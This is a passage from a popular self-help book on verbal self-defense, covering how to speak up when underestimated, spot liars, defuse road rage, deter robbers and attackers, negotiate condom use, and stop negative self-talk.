deal with you again. But so what? You are a real person doing what you have to do. You came clean and you
are a better person for it. You learned, and you
Page 291
probably won't make the same mistake again. If they reject you, tell them you understand, as painful as it is,
and accept their verbal wrath. You've spoken your piece. You've admitted you're wrong. Let them vent!
Whatever happens now is in their hands!
Don't Judge a Book by Its Cover!
What do you say when someone underestimates you? This often happens when people have known you for a
long time. They don't realize that the soft spot in your brain has fused together since you were an infant, that
you made it through kindergarten and actually have a Ph.D. in physics. But it doesn't make a difference. To
them you will always be little Baby Jane, and babies don't have opinions. Let's say you are a female attorney
and a male attorney is prejudiced against you and doesn't take you seriously, even though you graduated
number one in your law school class from Harvard. Let's say you have a foreign accent. You are a highly
qualified American board-certified foreign-born physician, but a patient doesn't want you to touch him. He
thinks you don't know what you're doing. He underestimates you! What do you say?
First of all, you acknowledge their feelings. You embarrass them by busting open their prejudices so that
everything is out in the open. There is nothing to hide. Then tell them why you are qualified (for example, list
your credentials) and then ask if they will allow you to show them or help them.
For example, Jane says, “I know you still see me as little Baby Jane, but I have grown up, have a Ph.D. now,
and know I can help you in this community project. I have worked on one similar to this one in Boston and it
was very successful.”
The female attorney says, “I know that some male attorneys still have an issue with female attorneys. They
can't help it. I'm not making you wrong or putting you down. It may even be a natural competitive thing for
some people. Maybe it's a personal thing with me. In any event, I feel that there's a lot of tension between us.
All I want to do is contribute my expertise and do my best. If you are concerned about my abilities—I notice
you always contradict everything I say—let me say that I have a very open mind, I am highly adaptive, and I
learn fast. In fact, I graduated first in my class at Harvard. So let me help you help the company.
As for the physician, he needs to say the following. “I know that many people feel uncomfortable with foreign
doctors, especially doctors who come from my country, because my country is very poor. You might wonder
how a doctor from such a poor country came here to study. I've been in the
Page 292
United States for 20 years, I went to medical school here, where I also did my training. Now I am licensed in
cardiology and have a faculty position at New York University. If you would like to check my credentials, you
are free to call the medical board to verify what I am telling you.”
Even though this might seem like a lot of work, there are no secrets. These three people have said what the
others were thinking, so there were no “I think that you think” games, and everyone can get on with the
business at hand.
Page 293
Chapter 23
Verbal Self-Defense Can Save Your Life!
This is one of the most vital chapters in the book because it can literally make the difference between whether
you live or die! It tells you how to incorporate everything that you have learned thus far in the pages in this
book and use it to your verbal advantage.
Everyone should know the information in this chapter! The split-second decisions you make about the verbal
strategies you choose can change the course of your entire life within seconds! Although I cannot guarantee
that these verbal self-defense techniques are foolproof, I can assure you that they can help protect you in most
circumstances most of the time. You must be discriminating, cautious, aware, and alert, always using your own
good judgment, so that you can avoid situations that put you in jeopardy.
In this chapter, you learn how to be more conscious of being in potentially disastrous circumstances. You learn
how to possibly prevent disastrous consequences, from road rage, to being talked out of your life savings, to
being mugged or raped. I have provided you with some very effective weapons to defend yourself against
potential life-threatening situations. These weapons have saved the lives of others. Hopefully, you will never
have to use them. But read and take heed!
Page 294
Listen for Verbal Red Flags!
If you keep your mouth shut and really listen to what a person says, he will usually reveal just about everything
you need to know about him if not more. If you just remain silent, as difficult and as uncomfortable as it might
seem to you at first, you will be amazed at what you learn! You will clearly see who this person really is—not
who you want them to be. In fact, this is one of the first things those in the law enforcement field learn. When
interviewing, “Be quiet! Let them talk! They'll tell you what you need to know!”
When you keep your mind and ears open and pay close attention to everything the person says—every morsel
of sound, every joke, sneer, cough, and tone—you will save yourself a lot of grief, emotional torment, money,
and perhaps even your life. Let's say you are talking to someone you don't really know that well, or maybe just
met. Just by objectively observing how a person talks and what he talks about during the course of the
conversation, you can gain a lot of insight into his personality.
This happened with a client of mine. She met a business associate who talked about his wife ad nauseam and
could never answer questions without saying “we” (even when not appropriate). My client pegged him as being
henpecked. After finally meeting his wife, she learned she was correct. The moral of this story is that we know
these things. It's not our sixth sense—it's our ears. We listened between the lines!
What You Hear Is Not Always What You Get!
One day a great looking, Armani-clad, well manicured, great-smelling gentleman came into my office. He said
he was an “investor.” He was referred to me by a dear friend who swore by him. Even though his outward
image was a 10, upon listening to him, his inward image was beginning to drop into the 5 range. Being 100
percent alert to everything he said, I heard a lot of inconsistencies. He contradicted himself a lot. He lied about
his background. At first, he told me that at ten years old, his parents were killed, so he lived with his
grandmother, was dirt poor, grew up on the streets and made himself what he is today. Towards the end of our
conversation, he said he came from a wealthy family in Connecticut, where his parents still live. He also joked
a lot. When I asked him what it was that he as an investor actually did, he gave a hearty laugh and said in a
joking tone, “I take people's money and run.”
When my friend called me later to ask me what I thought of the “investor,” I said that I wouldn't trust him in a
million years. She got mad at me and told me I was stupid not to invest my money with him. After all, he was
so well respected; all these prominent people used his services. She said he was a great investor. I told her that
after
Page 295
listening to him, I thought he was a phony. He contradicted himself. And for someone who was supposed to be
so savvy in the financial word, why did he mispronounce so many big words?
My friend got mad at me and stopped talking to me, until two months later. Apparently, that man in whom she
had “invested” got “arrested!” He was a fraud! I knew it all along—just by listening carefully. I knew it by his
contradictory stories. His last comment—his “joke”—said it all. As Sigmund Freud said, “there are no jokes,
only truths.” How right he was! “I take people's money and run!” He definitely told the truth here! It is no joke
that he is doing time!
Listening Between the Lines.
When you listen between the lines, here are some things to watch for and what they mean:
• Sarcastic jokes that have a ring of truth to them. This is a subconscious desire to confess or to let you know
what is going on. The person is also testing you. By throwing out this comment, he is observing how you are
going to react if it were to happen. If you return his smile or chuckle, he regards you as “safe” and feels more
comfortable around you.
• Contradictory statements or inconsistencies. These are unconscious leaks in information, involving either
letting down or putting up his guard, depending upon what truth or lie he tells you during the conversation.
• Bursts of anger. The person is out of control and angry because he is on the defensive and doesn't want to be
found out.
• Going off on tangents. This is another diversionary tactic designed to distract the listeners in hopes that they
will forget about the uncomfortable or touchy subject they are discussing. He is shifting the focus elsewhere.
Put a Lid on It!
As it says in the Bible, the power of life and death rests on the tongue. If you aren't conscious of what you are
saying, you can destroy your own life and the lives of others. We are all too familiar with the devastation that
occurs when someone gossips about us or betrays a hidden confidence. But what happens when we betray
ourselves? What happens when our own big mouths leave the mouths of others hanging open because they are
so shocked by what we have just revealed to them?
Page 296
Unfortunately, a decade or two ago, the “Me Generation” was taught that there was no holding back and that
we should let it all hang out. You could tell all—let the real you out at all costs—cry, scream, hit, regress,
breathe, or chant as you verbally expunged yourself from the pain of all your inner demons. This is great if
done in the privacy of your therapist's office, but not so great if it isn't. The fallout from it can be devastating.
Sure, you want to be open and honest, but some things are better left unsaid. We all have boundaries and some
should not be crossed. No man wants to hear that you slept with 100 men before him, especially when you're
lying there in the bed cuddled right next to him. No one has to know the details of your child's ill-fated
vomiting attack during church.
I Wouldn't Mouth Off If I Were You!
Even though I am a firm believer in letting your emotions out (when appropriate), there are times when you
just have to swallow your pride. Sometimes it is more appropriate to just shut up, swallow your words, breathe
in, blow it out, shut up, clench your teeth, shut up, bite your lower lip, shut up, bite your tongue, shut up, shut
up, shut up…. Why do I seem so adamant about trying to get this point cross to you? It is because I think that
you will have a much better time at home or with your friends, rather than in a jail with a bunch of other
inmates. It can happen to anyone, but don't let it happen to you. Never mouth off to a government official or to
a judge (if you do, you'll probably never see the light of day).
So what do you do instead of getting a brain hemorrhage? You do the Tension Blow-outs combined with the
Fantasy Technique and you'll be fine!
Your Speech Is a Loaded Gun
After reading this book, you know that words and tones can kill you emotionally. Saying the wrong words can
break someone's heart and upset her to the point that she becomes mentally, emotionally, and physically
incapacitated. Sometimes you know that your tone of voice can get someone all riled up or agitated or make
her miserable. Other times you can say something unknowingly or something just to vent your own anger,
which can cost you your life. In the next few sections I provide a number of scenarios on how violence was
most likely provoked because of someone's unconscious action, being unaware of how she communicated to
the other person. Since everything in life is based on stimulus and response interaction, if you are giving a
negative or hostile stimulus (even unknowingly) by the way you are talking to someone, in most cases the
response you get will not be very pleasant.
I'm sharing these examples with you to expand your awareness—to protect you, so that you don't end up
making the same mistakes that the people in these scenarios do. Their mistakes cost them a great deal,
including their lives! Perhaps by seeing what they did wrong, you won't do what they did, and that might just
save your life!
Page 297
Topics That, When Mentioned in Anger, Can Declare Verbal War
You can declare verbal war when, in anger, you mention another person's
• Mother or father
• Male or female companion
• Sister or brother
• Child
• Body part(s)
• Attitude
• Intelligence
• Honor
• Reputation
• Material things
Road Rage! Theater Rage! Outrage!
Take the everyday pressures people face, combine them with the time they spend in their cars, the increase in
the number of cars on the road, the lack of courtesy and manners in so many people, and the different levels of
driving skills, and what do you have? R-O-A-D R-A-G-E! Road rage is the buzzword of the year; all the
magazines and talk shows are talking about it. Newspapers and news broadcasts report on the increasing
number of road rage incidents.
Road rage is nothing new. It has been going on since the days of Henry Ford, when the automobile was first
invented. You've seen those old silent films where one car is trying to run the other one off the road in the big
“chase” scene. The only difference now is that people are more frustrated, madder, and meaner.
There is no question about it—with all of the pressures we go through in life in our complex society, there's a
lot more stress. When you've had a bad day at work the only thing you really want to do is get home and relax.
So, when someone gives
Page 298
you a hard time on the road (cutting you off or tailgating you) it is only natural to get angry. However, the other
driver might push you over the edge, to the point of road rage. In this case you might want to get out of the car,
verbally confront the other driver (who usually reciprocates with as much intense anger), and doing some
bodily harm (using fists or a weapon). If you follow your anger and not your head, the consequences could be
dire!
Although road rage typically occurs in big cities such as LA, where there are millions of drivers, it has been
reported everywhere, even in small rural towns.
So how should you handle an incident when it occurs? Let it go! Let it blow! Give 'Em Hell and Yell in your
car—alone. Do Visual Fantasy, and Tension Blowout. Be done with it. Concentrate on where you have to go
and on more important things in your life.
Shhhhhhhhhhhhh!
Just as road rage has recently plagued our society, so has “theater rage.” Although I don't know of any reported
deaths resulting from theater rage, that is not to say it cannot happen. Theater rage simply occurs when
someone talks during a movie or play. They may be loving the movie as much as you are, but they are sharing
their opinions, instead of waiting until the movie is over.
Unfortunately, in the age of television, VCRs, computers and CD Roms, many people don't go to movies very
often and are, therefore, used to being able to talk during a film. Oftentimes these people have to be reminded
that they are in a theater and are disturbing other people. People don't mind being told to keep it down, but they
do mind being reprimanded like a whining child or a barking dog and told loudly to be quiet. So what do you
do? Be real polite. Smile. Say “I'm sorry, but could you talk later? Thank you.” Smile. Say this in a soft and
pleasant tone. If you say it in a sarcastic or angry tone, you might as well have said SHHHHH. If they don't
oblige, move! If the theater is crowded, tell the usher! Let them handle it. That is what they are there for.
I Said No Talkin'!!
Gone are the days of Mrs. Smith saying “Johnny, stop it! I want you to stop talking and stop interrupting this
class. You have always been a nuisance and cause the class to waste so much time. If I have to tell you again, I
am going to send a letter home to your mother telling her how bad you are.”
Teacher violence is on the rise. Teachers are getting beaten and even killed by their students left and right!
Why? I wanted to know, so I asked a group of kids caught abusing their teachers. Ranging in age from 8 to 17,
these kids gave me some pretty consistent answers. “She didn't respect me.” “She dissed me in front of the
class.” “She picked on me all the time.” “She hated me.” I asked them what they would have wanted their
teachers to have done. Every single one of them answered “Respect me.” Although I was horribly against what
they did, I can see their point. Had the teacher called them out of the room, spoken to them, and not
embarrassed them in front of
Page 299
their friends, it would definitely have been a different story. So if you are a teacher or know any teachers,
please share this information with them. It came directly from the mouths of the “teacher abusers.”
Reason Before You Start Teasin'
Just as teacher violence is on the rise, so is school violence in general. The recent wave of school shootings,
with children killing other children, is both shocking and appalling. But deeper investigation into the
psychological profiles of these young killers indicates that they have something in common. They were all
teased and tormented by their peers. Toxic words were hurled at them on such a continuous basis that it ripped
their self-esteem to shreds. They lashed out!
Sometimes they lash in! With teenage suicides being at an all-time high, practically every suicide note contains
some references to being cut off from people and being teased by others. This is a worldwide phenomenon, as
such suicide notes have also been found among the belongings of teens in Japan and in Germany. All this
because of mean, nasty, horrible words that insensitive people unknowingly use in their attempt to feel cool or
superior to their unacceptable peers. The raw reality is that instead of using metal bullets they used verbal
bullets to kill the “insides” of their peers. In their tortured and hopeless minds, all the kids had left to do was to
finish the job, physically, and destroy themselves on the outside.
Tones Can Kill
Throughout this book I stress the importance of how you should say things. Your tone of voice can be a killer.
If you talk to someone in a rough-edged, harsh-sounding, loud voice that gives the impression that you are
angry, watch out! You might not even be angry, but the fact that you sound that way makes others feel like you
are, and so you are in for their bad attitude. If you aren't aware that you sound the way you do, you are
probably wondering why they are having a bad attitude. In defense you will probably return their bad attitude
until a full-blown fight ensues.
Page 300
This happens often with customer service representatives after a long day at work. They are in bad moods and
have an attitude reflected in their tone of voice. You react in a hostile manner, they react to your hostility, and
the cycle begins. So the next time you hear someone with a bad attitude, don't take it personally! Try to lighten
them up through a kind tone, a kind word, and a smile. Always be aware of your tone when you talk to anyone,
especially people you don't know who are in a position to be of service to you, so that you won't come across
with “attitude.”
You're Ok, I'm Ok. Ok, You're Ok.
Millions of people suffer from mental disorders and they don't even know it. They just think that's the way they
are! You yourself might have a mental disorder that you are not even aware of. Sure, you get hyper, but at least
you get a lot done. And then there are those days when you feel so low that you just can't get out of bed. More
and more research shows that it is your biochemistry which causes you to suffer those mood swings.
Those that are diagnosed with mental disorders are the lucky ones. They can be treated with medication and
live essentially normal lives. But some are so out of control that they can't afford or don't take their medication.
Some of them are dangerous. Some have even attacked or killed people. The message here is “tread lightly.”
Speak to them in calm, non-jarring, polite tones.
Non-Words Can Kill
In some cultures, it is not nice to look a person in the eye and speak or initiate a greeting, especially for a
woman. Touching a person is a no-no. Speech is abrupt, limited to business only, serious-faced and businesslike,
and perceived as not being very friendly. In other cultures, this behavior is unacceptable and perceived as
insulting, condescending, and disrespectful. When these two cultures get together, the possible negative
consequences of what can happen are inevitable. In fact, that has happened throughout the U.S. A number of
murders have occurred in situations where people were simply ignorant of the social dynamics of a particular
culture (such as handshaking, touching, warm greetings for males and females, smiles, openness, lots of
friendliness, and social interaction). Since the universal language is warmth, smiles, and attempted
verbalization, doing these three things with anyone, no matter where you are from, can save your life!
Page 301
Your Mouth Can Save Your Life
Just as your mouth can kill you, it can also keep you alive. If you know what to say in the right circumstances,
often circumstances that are beyond your control or are life-threatening, you can save your life. In the rest of
this chapter, I show you how. I give you some life-saving speaking and vocal techniques. I also present you
with some rather unpleasant scenarios in which you can use these techniques to thwart your perpetrator. Read
this section several times. I want the information to stick in your brain. Just in case anything like this should
ever happen to you (heaven forbid), you will be more likely than anyone else to survive! Above all else,
remember that you still must use your good judgment and trust your instincts. This is merely an aid to help you
in addition to doing that.
Verbal Kicks, Vocal Chops, Tonal Blocks
A verbal kick occurs when you push down on your abdominal muscles as though you are going to have a
bowel movement and open your mouth and as loudly you can, drawing out each vowel clearly, and say “GET
OUT OF HERE RIGHT NOW! I MEAN IT!” or “WHAT DO YOU WANT?” A verbal kick gives your voice
the quality and resonance it needs to show someone you are not a weak person. You are a formidable opponent.
You are not a victim and you mean business! Often it is all you need to get your perpetrator to leave.
Vocal chops occur when you speak in a staccato, marching-like abrupt tone. This is extremely effective in
getting your point across, as it is like a series of verbal exclamation points or pellets being hurled at someone!
Tonal blocks come in handy when you just have to be quiet. You might want to scream your head off, but you
know instinctively that it will get you killed. To control yourself, take a sip of air in through your mouth and
hold it. Keep holding it for as long as you possibly can and let it out. Then do it again. This will at least
stabilize you and keep you in control and level-headed as much as you can be under the circumstances.
Be Nice!
This may sound weird to you, but be nice to your perpetrator. Doing so can often save your life. Speaking in
soft tones and being friendly, even when the situation is the opposite of friendly, has saved many lives. When
serial killers and murders were asked why they spared the lives of certain victims when they had the
opportunity to kill them, they all said “they were nice to me.” So, before you make the decision to do
Page 302
what you have to do, first be nice. Speak softly and kindly. It just may be the deciding factor as to whether the
sicko spares your life!
To Catch a Thief!
Robbers case the joint to check out the premises they are robbing. In the same way, people are checking you
out. Studies show that if you walk like a victim you'll be victimized. The same goes for talking. If you sound
like a victim, you are more likely to be victimized. But now that you have all of the verbal self-defense
strategies in this book, you don't have to be.
That's why a potential robber might ask something like “What time is it?” Engage them in conversation and
look directly in their face, preferably in their eyes. Here is where you do look in their eyes as a sign of power. It
signals “I will not be intimidated!” Then say, “You know, I'd tell you the time, but my watch never works. I
need to get it fixed, but I have to get some money first because I lost my job and it's hard for me to work now
because I've got a bad back and my sister's in jail and now I have to take care of her kids….” Believe me, he'll
think you're a nutcase and try to find someone else to rob.
If he comes after you anyway and there are people around, give him a verbal kick, then Give 'Em Hell and
Yell. Usually that will work and someone will come to your rescue.
If you caught him red-handed and you are sure he's not carrying any weapons, confront him, then Give 'Em
Hell and Yell and a good verbal kick. Grab the goods. If he resists, do the obvious—run and call the police.
Rape.
A client of mine shared this incident, which saved her from being raped. In essence, she turned the tables on
her perpetrator. He had a knife to her throat as he told her to undress. In a soft, calm tone she said “don't worry,
I won't hurt you.” The rapist was so taken aback by what she said that he lost his footing. She ran and saved her
life. This proves again that your life does rest on “the power of your tongue,” as the Bible so eloquently puts it.
Once again, please take all the necessary safety precautions. Be alert. Use good judgment. When you see
someone approaching you, if there are people around, confront them loudly or even sing. If they think you're a
nutcase they usually won't bother with you.
Page 303
Date Rape
A rape is no less a rape just because you know the person who raped you. In fact, it is more of a rape, because
they know you, and you are not an impersonalized object, which a rapist can turn you into—you are a
personalized human being to the date rapist, so they have even less regard for you than does the generic rapist.
This subject is so touchy because there are many semantics involved, as well as circumstances and possible
miscommunication. The bottom line is that date rape may happen despite these efforts, but if you would never
consider sleeping with the person, or if you would consider it but not until you were more committed, don't
even put yourself in a compromising situation. Don't be alone with the person—not even in a car. If you are in
a car alone with them, make sure you know the route you're taking and that you won't be stopping for anything.
Also make sure that you have enough money to get home.
Sex Talk—Before It Gets Too Hot to Handle!
Even though everyone is preaching “safe sex,” it is the last thing you want to talk about “in the moment.”
When things are getting hot and heavy and you've finally decided to take that final step with your partner, the
last thing you are thinking about is an AIDS test! One of the hardest things to do is to bring up the topic of safe
sex.
In the heat of passion, especially when skin touches skin, you might feel so overwhelmed by desire that you
find it almost impossible to break out of the moment and say anything. But let's face it, not talking about it and
not doing something about it can kill you! So, here's what you say: “I feel so uncomfortable bringing this up,
but in this climate of AIDS and all, we have to talk about it. I'm sure you don't have it, but I think we both
should get tests so both of us will feel uninhibited.” Then do it. You'll get the results the next day! After all,
you've waited this long!
Page 304
Wear a What?
We aren't embarrassed when it comes to getting stark naked in front of another person, but we are terribly
embarrassed when we have to talk about using condoms! Obviously it helps prevent the spread of HIV, but you
really have to be just as concerned about other sexually transmitted diseases that, if left untreated, can also ruin
someone's life. So unless you have a 100 percent thorough clean bill of health, have had every test and every
orifice checked and re-checked, are married, committed to one person, and not cheating (and I really mean it—
no flings, no oral sex, not even a pat or a touch), then and only then can you abstain from wearing a condom.
Otherwise you are playing with your life and someone else's. In the “Talk Back!” section, I will give you the
excuses men use as to why they don't want to wear a condom and what his partner should say in return. The
bottom line is that there should be no excuses!
Talk Back: Excuses for a Man Not Wearing a Condom
(Man) I never wear one.
(Partner) It's time to start now.
(M) I don't like the feel of it.
(P) The new ones are super thin; the sensation's exactly the same.
(M) It feels like you're taking a shower with a raincoat on.
(P) At least you'll have a super thin raincoat and you'll be able to feel the
sensation.
(M) I don't have AIDS.
(P) I'm sure you don't. But there are other things you might not know you have
that your last relationship passed on to you.
(M) That's insulting.
(P) The last thing I would ever want to do is insult you. I care about you and I
am protecting the both of us.
(M) I can't believe you think I sleep around.
(P) I don't, but you've been with others in the past.
(M) I can't fit into one.
(P) You're in luck! Now they come in large and extra large.
(M) Let's not. (referring to wearing a condom)
(P) Okay, Let's not! (referring to making love)
(M) We'll be fine.
(P) That's right, because we're gonna have protected sex.
Page 305
Page 307
Chapter 24
Verbally Defending You Against You!
You have learned what it takes to verbally defend yourself against all different types of verbal enemies. You
now know what to say, how to say it, and who to say it to. You have the confidence to pull out any tactic
you've now mastered. You are able to choose automatically the technique that is most appropriate to verbally
slay your opponent. You know how to keep on going. You know how to slide from one technique into another,
until one of them finally clicks and you come out the victor in verbal battle.
Now that you are an expert at verbally defending yourself against others, the time has come to learn to defend
yourself against, perhaps, your most powerful and formidable opponent—YOU!
All too often in the art of verbal warfare, we are not our best ally. In fact, we can be our own worst enemy!
Unfortunately, we know this all to well. Even though life is a series of losses and wins, when we win some of
the battles, we are in such shock—we can't believe that we have won—that we sabotage ourselves and end up
losing a battle we fought hard to win. We don't do it purposely. We do it unknowingly, out of ignorance. We do
it usually because of some deep-rooted psychological issue concerning entitlement. We might not feel as
though we are entitled or deserving of winning the battles in our lives, and so we find it impossible to relax and
be peaceful!
Page 308
What Did You Say? That's What They Think!
The best verbal self-defense you can use against your most formidable verbal ally is when you say nice things
about you to you. When you speak highly about yourself, others will follow suit.
As I said earlier in this book, when I was in college, we girls who lived in the dormitory and dated the college
boys had a rule: “If a boy tells you that he is a jerk, believe him—he definitely is one.” The same holds true
with you. If you say you are a jerk, perhaps you are keeping a secret that others don't know. Maybe you are a
jerk!
Maybe you might have a nice, pleasant, friendly exterior, but deep down inside you might be an awful,
manipulating, seductive slime. Therefore, if you say you really aren't a very nice person, you probably aren't.
After all, who knows better about you than you?
On the other hand, there are a lot of really nice people out there who, in an attempt to appear humble and not
“big-headed,” sabotage themselves by putting themselves down. Unfortunately, if you say “I'm such an idiot!”
or “That's just my luck!” enough times, you might just be brainwashing yourself and creating a self-fulfilling
prophecy. People will believe you are unlucky or an idiot and will stay away from you and expect the worst
from you.
If you think you are fat and keep harping on it, or you have a big nose, are bald, or have fat thighs and
constantly complain about it, you are conditioning others to focus on the features you find negative about
yourself. Even if these things really are true about you, if you accept these things and even like these things
about you, so will others.
Verbalize! No Complaints! Fix What You Hate!
Stop brainwashing yourself and others with these negative images. One of the best ways to stop saying things
like “I hate my nose,” “My teeth are crooked,” “I'm so fat”, “I hate my hair,” and “I'm so short” is to get it all
out verbally. But do this with those who can do something about it—you, your loved ones, and a professional
who can fix it. By the way, with the advances in medicine today, things that were not changeable in the past—
such as repairing certain facial deformities and the ability to walk, talk, and hear—are routinely fixed today.
There are even ways to increase one's height—
Page 309
something never considered as little as a half a decade ago! The bottom line is, “there is no excuse!” If there's
something that really bothers you—figure out how to do something about it.
Look in the mirror. Really talk to yourself. Look at the thing about you that is the cause of your pain. Talk
about it out loud when nobody is there. It's your personal business, between you and you. Talk about how much
pain and grief this problem caused you, why you don't like it, what your life would be like if you didn't have it,
and how doing something about it will change your life.
Now go to someone you are super close to and share it with them. Have a two-way conversation. Tell them
what you told yourself. You might cry. You might even get talked out of having something done about it, but
don't! Stick to your guns. Have them come with you only if they support you in your endeavor as you see the
professional who can help you.
Verbalize everything you told yourself (and your loved one) to the professional and expect the best from him or
her. If they don't pay as much attention to what is going on inside of you on an emotional level as to what is
going on outside of you, do not have them work on you. There are too many other qualified professionals these
days who can do both. They have to care about you and hear you as well as have the skill to help you.
Never Let the “Cat Get Your Tongue”
Now that you have fixed your outsides, you still have to fix your insides. You can do this through a verbal
strategy I will teach you about in this section.
When you are overly quiet or shy or can't bring yourself to meet people or to see others, it is due to four
reasons:
• You feel that you are inferior or less than other people.
• You couldn't imagine why anyone would want to be friends with you.
• You feel that the person might try to control you.
• You fear that the person might belittle or reject you. So, in order to play it safe, it is easier for you not to play
at all, to sit on the verbal sidelines.
Well, guess what? You don't have to do that anymore. You have something to break you out of this syndrome
forever, and it consists of three little words that you will repeat over and over and over and over and over in
your head, even when you are being fed, even when you are in bed—all the time! These three simple words are
“I AM ENTITLED!” Say it out loud, particularly when you feel these feelings of insecurity coming on strong.
Then keep repeating it over and over to yourself silently.

Page 310
You might think this sounds weird and think “how can saying one simple sentence make me feel less
insecure?” That's what my clients asked me, but they were amazed when it actually worked. It does work! It
starts to make you conscious of the fact that you are just as important as the next person—that they are no
better than you are. The following methods are little tactics designed to remind you to not say bad things about
YOU! Every time you say a bad thing like “I'm stupid” or “It's just my luck” or put yourself down, do one of
these conditioning tactics so that you learn not to say it or feel that way again. As you do one or more of the
things listed here, watch the negative statements you say about yourself become less and less frequent.
Quashing Your Negative Words About You
Do one or more of these 10 things after you say something negative about yourself. After a while you'll stop
cutting yourself down.
1. Snap your fingers.
2. Blow air out of your mouth hard.
3. Bite your lower lip.
4. Bite your tongue.
5. Clench your jaw.
6. Slap your wrist.
7. Click your back teeth together.
8. Open the back of your throat like you're yawning, then yawn.
9. Clasp your fingers together.
10. Blow air in your cheeks.
Observe What You Say to Potential Verbal Spies!
People remember! They don't forget! They do talk! They talk and they talk and they talk! They talk about
themselves! They talk about others! They talk about YOU!
This means that if you tell them some good juicy tidbits about you, if you pour out your heart and soul to them,
you can be sure that every drop, every word that you express, will be circulated among everyone you know and
maybe even with those you don't know.
Loose Lips Sink Ships!
Sometimes you might think you are talking to a friend when in reality you are talking to a huge enemy—
someone who really doesn't like you, is jealous of you, or who really
Page 311
wants to do you in. With the right verbal ammunition, they will destroy your reputation with their attempts to
thwart your purposes.
Common sense tells you that you would never dream of giving your adversary any ammunition to use against
you. But the reality of the situation is that you have already given it to them—straight from your mouth. This
verbal bomb can explode in your face and kill you because it is so powerful. It comes completely unexpectedly
from the “verbal enemy” you would least expect. The moral of the story is, “Never tell your best friend
anything you wouldn't want your worst enemy to know!”
Losing the Verbal War by Trashing Your Family!
Whether you like it or not, your family is just that—your family. You might hate everyone in it. You might not
have spoken to them for 15 years. However, no matter what your relationship is with them, when you trash
your family, especially to strangers and acquaintances, but even to people you know well, you trash yourself.
Almost everyone has family issues, and there are many different sides to these issues. When you start telling
other people about your family issues, you are opening up your family, and yourself, to emotional pain. Most
people aren't equipped to hear about other families' deepest and darkest secrets. If you open up to them they
might, in their shock, tell two people who tell two more people, and so on and so on, and before you know it,
people now understand why you act the way you do or feel sorry for you because of your background. You are
suddenly “labeled”! The moral of the story is, tell only a professional about family tragedies. It won't go
anywhere—for certain. Tell only a close, close friend or relative, and only after checking in with them to make
sure they can handle such news.
Remember that you are taking a risk telling anyone but a professional, another family member who shares your
plight, an intimate friend, spouse, or lover whom you trust with your heart and soul. Otherwise you put your
reputation in jeopardy.
Page 312
Winning by Letting It Leak!
Sometimes, you might not want a confidence kept. You might want this information out in the open for some
reason. You consciously make this happen, knowing that not everyone can keep a confidence! However, this
might not be all bad, as part of your own line of verbal defense strategies. In fact, politicians do it all the time.
That's how we, the public, get information that is supposedly “leaked” to us from some unknown source. The
information either enhances or embarrasses one side or the other. Sometimes this information is accurate; other
times, it's a blatant lie. Sometimes the information predicts an event and prepares us for a pending disaster,
other times it is just meant to scare us.
Whatever the case, it was calculated! It was an attempt to convey information by betraying a confidence.
How can you apply this verbal strategy to your own life? Let's say you want something to get out about you or
your verbal enemy. It could be true information you want people to know about yourself or information that is
a bit embellished. Your best bet is to tell the verbal big mouth and watch it spread like wildfire. You can
exaggerate (kid around) or tell a tale. Once the Verbal Leaker hears the story, she is out of your control. (Right!
And who told them to tell the world anyway?) In essence, they can become your best verbal weapon and PR
agent.
Losing the Verbal Battle by Recycling the Word
Remember that game you played in grade school, where one person would whisper something and then the
next person was to repeat it to the next person, and so on and so forth down the line? By the time the 30th
person repeated what the first person initially said, the story ended up being totally different and
unrecognizable. This same thing happens in real life!
Things get distorted and embellished, but they don't have to go through 30 grade school children to get there.
They can get distorted just by being filtered down through a few people who add their own spin or who bring
their baggage or viewpoint to the story.
Let's say you go out on a date with John. You had an awful time. All he wanted to do was make out with you,
and you just weren't attracted to him. You had no chemistry and he wasn't your type. You tell this to your coworker.
She now tells her friend that your date was awful because you wouldn't have sex with him on the first date. Her
friend tells another friend that your date is a sex maniac and won't date girls unless he has sex with them on the
first date. Wow! Now the poor guy has a reputation he doesn't deserve, just because he kisses like a frog.

Page 313
It's one of the casualties of opening your mouth and talking. It could have worked the other way too. You could
have said you had a great time—that he was a great kisser. Your co-worker could have then told her friends
that your date was a great lover. Word spread around that your date is so hot in bed and now every woman is
dying to sleep with him.
So sometimes there is nothing you can do but be neutral and say “it was fine” or “okay,” especially if you
know someone is a “walkie-talkie” or Verbal Leaker.
Verbal Defeat Through Verbal Ecstasy—Why Tellin' All Feels Soooo Good!
Even if we know better, why do we still talk so much and gossip about ourselves, especially about our sexual
selves? One reason is because it feels soooooooooooo darn good.
It feels good to the talker. It's a release they desperately need. If they don't tell and talk about it, they crumble—
literally. They suffer psychological, emotional, mental, and physical trauma. There is enough research in the
medical literature to back up what I just said a thousand times over.
That is why therapists and clergy are so vital: people need to unload their problems to people who know what
they are talking about in a professional sense. After they are done, it feels good. It feels even better if they are
guided in the right direction and given the right advice.
Now let's take it a step further. Another reason we like to tell all, especially to our friends or to anyone who
will listen for that matter, is because it feels good. As we talk about the experience and recall the minute details
of the event (especially if it was a highly erotic event!), it is as though we are reliving the event and stimulating
those same pleasure channels that felt soooo good.
Since, as far as the emotions are concerned, the brain can't distinguish between what's actually happening and
what is being visualized, it is like you are there all over again! You take the listener along on this verbal magic
carpet ride, and they too can visualize and empathize with you as though they were there. It's as though they
were the protagonist in your detailed, erotic story.
When the story is over, the talker and the listener have both had a “verbal orgasm.” Telling the tale over and
over to as many people as will listen provides the teller with multiple verbal orgasms.
Page 314
Besides sex, people talk and talk in intimate details about negative experiences in their lives to purge
themselves as well as to get someone else's reassurance. They tell the story from their side so that the listener
will rally against their adversary and they will be “right.” They feel better, you feel better, and you are
entertained at the same time. Whatever the topic, there is a strong need for them to tell someone, and they
chose you. So in some way that's flattering, but if you don't want to hear it, don't. Set limits. Say “I appreciate
your feeling comfortable enough to tell me this, but I'm not comfortable listening to it.” Smile. There is nothing
to be mad at.
Don't Blame! Extinguish the Flame!
You need to stop restimulating your negative past! Of course, it might be interesting to hear about the hundreds
of abusive lovers you've had, and how you were so poor when you were growing up that you had to eat dirt
sandwiches and worms and live out of a cardboard box. But sometimes I wish I had a channel clicker so that if
I heard one more disgruntled husband or wife complaining about their spouse, I could click them to a happy
channel. Instead they could tell me how they got on with their lives and how their “dirty-doing mate” allowed
them to move on find a better life, the right mate, and live in bliss.
Unfortunately, such a channel clicker hasn't been invented yet, but you can change your own channel. Stop it
already! Move on! Eight years is enough! When you blame, you keep igniting the flame. You keep it going
forever and ever. The less you talk about the tragedies and the people who “did you wrong,” the more chance
you will have to keep your eyes open to focus on those people who will be “doing you right.”
Making Amends Verbally
